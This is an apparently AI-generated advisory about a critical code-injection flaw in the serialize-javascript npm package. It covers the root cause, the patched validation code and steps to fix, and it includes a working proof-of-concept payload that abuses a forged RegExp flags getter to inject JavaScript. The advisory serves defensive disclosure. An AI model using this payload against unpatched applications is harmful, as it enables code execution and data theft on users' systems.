CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-5C6J-R48X-RMVQ
9.8

Remote Code Execution via Improper Serialization in serialize-javascript

Alon Barad
Alon Barad
Software Engineer

Feb 28, 2026·6 min read·5 visits

PoC Available

Executive Summary (TL;DR)

The `serialize-javascript` library failed to sanitize `RegExp.flags` and `Date.prototype.toISOString()` outputs. Attackers can provide crafted objects that break out of the generated string literals, leading to RCE when the data is deserialized. Fixed in version 7.0.3.

A critical Remote Code Execution (RCE) vulnerability exists in the `serialize-javascript` npm package due to improper sanitization of `RegExp` and `Date` object properties during serialization. When processing untrusted objects that mimic these types, the library constructs an executable string without sufficient validation of the `flags` property or `toISOString()` output. This allows an attacker to inject arbitrary JavaScript code that executes upon deserialization (typically via `eval()`).

Vulnerability Overview

The serialize-javascript package is a fundamental component in the JavaScript ecosystem, primarily used to serialize complex objects into a superset of JSON that includes functions and regular expressions. It is widely employed in Server-Side Rendering (SSR) setups (such as React or Redux applications) to dehydrate state on the server and rehydrate it on the client. The core mechanism relies on generating a string of JavaScript code that, when executed (often via eval or implicit execution in <script> tags), reconstructs the original object graph.

The vulnerability, identified as GHSA-5C6J-R48X-RMVQ, is a Code Injection flaw (CWE-94). It arises because the library implicitly trusted the output of certain properties on objects that passed type checks (instanceof RegExp and instanceof Date). Specifically, the serialization logic concatenated the result of .flags and .toISOString() directly into the output string without ensuring they contained safe values. This allows a malicious object to terminate the string literal in the generated code and append arbitrary JavaScript commands.

Root Cause Analysis

The root cause lies in the assumption that any object passing an instanceof check behaves exactly like the native primitive it mimics. JavaScript's dynamic nature allows objects to inherit from prototypes (like RegExp.prototype) while overriding specific getters or methods.

In the vulnerable versions, the serialization logic for RegExp objects was implemented roughly as follows:

// Pseudo-code of vulnerable logic
if (object instanceof RegExp) {
    str += 'new RegExp("' + serialize(object.source) + '", "' + object.flags + '")';
}

The vulnerability is located in the unsanitized concatenation of object.flags. If an attacker supplies a crafted object where the flags property returns a string containing a closing quote and parenthesis "), they can escape the new RegExp(...) constructor context. A similar flaw existed for Date objects, where the library trusted object.toISOString() to return a valid ISO 8601 string, embedding it directly into a new Date("...") constructor string.

This is a classic failure to treat derived object properties as untrusted input. The library correctly identified the object type but failed to validate the data extracted from it before code generation.

Code Analysis

The following analysis compares the vulnerable code path against the patch applied in version 7.0.3. The fix introduces strict validation for both vector types.

RegExp Serialization Fix

In the vulnerable version, the flags were simply cast to a string. The patched version implements an allowlist approach, stripping any characters that are not valid RegExp flags.

// Vulnerable Code (Concept)
// var flags = regexps[i].flags;
 
// Patched Code (Commit 2e609d0)
var flags = String(regexps[i].flags).replace(/[^gimsuydv]/g, '');

By replacing all characters matching the negation of the allowlist /[^gimsuydv]/g, the library ensures that no syntax characters (like ", ), or +) can remain in the output.

Date Serialization Fix

Similarly, the Date serialization logic was hardened to strictly validate the format of the ISO string before inclusion.

// Vulnerable Code
// var dateStr = dates[i].toISOString();
// serialize = 'new Date("' + dateStr + '")';
 
// Patched Code
var isoStr = String(dates[i].toISOString());
 
// Regex to enforce strict ISO 8601 format
if (!/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{3})?Z$/.test(isoStr)) {
    throw new TypeError('Invalid Date ISO string');
}

This validation ensures that even if toISOString is overridden to return a malicious payload, the test will fail, and the serialization process will abort with a TypeError rather than generating malicious code.

Exploitation Mechanics

To exploit this vulnerability, an attacker must be able to control the input object passed to serialize(). This often occurs in scenarios involving Prototype Pollution or when processing JSON-like structures that support complex types (e.g., via a custom parser or middleware).

The Attack Payload

The attacker creates a 'fake' object that inherits from the target prototype to satisfy the instanceof check, then defines a malicious property getter.

// 1. Create a fake RegExp object
const maliciousObject = Object.create(RegExp.prototype);
 
// 2. Define a malicious 'flags' getter
Object.defineProperty(maliciousObject, 'flags', {
  get: function() {
    // The injection payload:
    // 1. ") closes the flags argument string
    // 2. ) closes the RegExp constructor
    // 3. ,console.log("PWNED") executes arbitrary code
    // 4. ,new RegExp(" restores valid syntax to prevent syntax errors
    return '"),console.log("RCE"),new RegExp("';
  }
});
 
// 3. Define a benign source to pass checks
Object.defineProperty(maliciousObject, 'source', {
  get: function() { return 'a'; }
});

When serialize({ r: maliciousObject }) is called, the library generates:

// Resulting String:
'{"r":new RegExp("a", ""),console.log("RCE"),new RegExp("")}'

When the victim application (e.g., the web browser hydrating the state) executes this string, the console.log("RCE")—or any other payload—is executed immediately.

Impact Assessment

The impact of this vulnerability is critical because serialize-javascript is often the bridge between backend logic and frontend execution.

Confidentiality & Integrity: An attacker can execute arbitrary code in the context of the deserializing application. In a browser (Cross-Site Scripting), this allows theft of cookies, session tokens, and local storage, as well as DOM manipulation.

Availability: Malicious code can crash the application or redirect users to malicious sites.

Server-Side Risks: If the serialization output is consumed by another Node.js service (e.g., in inter-process communication or caching layers) and executed via eval, this vulnerability results in full server compromise, allowing the attacker to read environment variables, access the file system, and pivot to internal networks.

The vulnerability has a high EPSS probability due to the simplicity of the exploit and the ubiquity of the library in React/Redux server-side rendering pipelines.

Remediation & Mitigation

The primary remediation is to upgrade the package to a secure version. The maintainers have released version 7.0.3 which includes the necessary sanitization logic.

Steps to Fix:

  1. Identify dependencies: Run npm list serialize-javascript or yarn list serialize-javascript to find all instances of the library in your dependency tree.
  2. Upgrade: Update package.json to require ^7.0.3 and run npm update / yarn upgrade.
  3. Verify: Ensure that nested dependencies (transitive dependencies) are also updated. You may need to use npm dedupe or manually adjust lockfiles if other libraries pin older versions.

Defensive Coding: Developers should treat serialization boundaries as critical security gates. Avoid passing unvalidated user input directly to serialization functions. Additionally, Content Security Policy (CSP) headers can mitigate the impact of XSS vectors by restricting where scripts can be loaded from and disabling unsafe-eval, although this may break SSR hydration if the architecture relies on it.

Official Patches

Yahoo (GitHub)Commit fixing the RegExp and Date injection vectors

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

serialize-javascript < 7.0.3Node.js SSR applications using older versions of serialize-javascriptRedux state hydration implementations

Affected Versions Detail

Product
Affected Versions
Fixed Version
serialize-javascript
Yahoo
< 7.0.37.0.3
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork
CVSS9.8 (Critical)
Exploit StatusPoC Available
ImpactRemote Code Execution
Vulnerability TypeCode Injection

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Known Exploits & Detection

GitHub AdvisoryProof of Concept demonstrating RegExp.flags injection

Vulnerability Timeline

Patch Developed
2026-02-27
Fix Commit Merged
2026-02-27
Version 7.0.3 Released
2026-02-27

References & Sources

  • [1]GitHub Advisory GHSA-5C6J-R48X-RMVQ
  • [2]serialize-javascript v7.0.3 Release Notes
Related Vulnerabilities
CVE-2020-7660

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.